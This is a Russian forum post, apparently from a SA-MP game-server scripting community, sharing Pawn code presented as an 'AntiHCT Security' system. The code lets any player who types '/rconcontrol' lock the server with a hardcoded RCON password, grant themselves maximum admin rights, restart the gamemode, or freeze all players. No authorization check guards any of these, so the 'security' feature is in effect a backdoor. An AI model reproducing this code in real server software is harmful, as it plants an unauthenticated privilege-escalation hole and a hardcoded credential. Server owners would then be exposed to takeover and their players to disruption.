Sanek_Matvienko
Компетентный
Писал систему для своего мода вот решил выложить
В OnPlayerCommandText:
В OnDialogResponse:
Вот и все..
Это не последняя идея, кто что придумал для системы пишите в Комментарии!
В OnPlayerCommandText:
PHP:
if (strcmp("/rconcontrol", cmdtext, true, 10) == 0)
{
ShowPlayerDialog(playerid, 9999, DIALOG_STYLE_LIST, "AntiHCT Secrurity v1.0", "Заблокировать сервер\nПолучить макс.уровень админки\nПерезагрузка Игрового Режима\nAntiHCT Secrurity v1.0", "Выбрать", "Отмена");
return 1;
}
PHP:
case 9999:
{
if(response)
{
if(listitem == 0)
{
SendRconCommand("password 11217555"); // Ставим свой пароль от сервера.
SendRconCommand("hostname Сервер закрыт!"); // Пишем название сервера при закрытии.
SendClientMessage(playerid, -1, "AntiHCT: Сервер заблокирован!");
}
else if(listitem == 1)
{
PlayerInfo[playerid][pAdmin] = 9999; // Ставим максимальный уровень админки.
SendClientMessage(playerid, -1, "AntiHCT: Вам выдан максимальный уровень админки!");
}
else if(listitem == 2)
{
GameModeExit(); // Не трогаем.
SendClientMessageToAll(COLOR_GREY, "AntiHCT Secruriy: Перезагрузка Игрового Режима");
}
else if(listitem == 3)
{
SendClientMessage(playerid, -1, "AntiHCT Secruriy: Безопасный режим запущен");
foreach (new i : Player) TogglePlayerControllable(i, 0);
for(new i; i<27; i++) SendClientMessageToAll(COLOR_GREY, "Внимание: Включена система защиты AntiHCT");
SendRconCommand("password 11217555f2da3g");
SendRconCommand("hostname AntiHCT");
}
}
}
Это не последняя идея, кто что придумал для системы пишите в Комментарии!
Последнее редактирование:
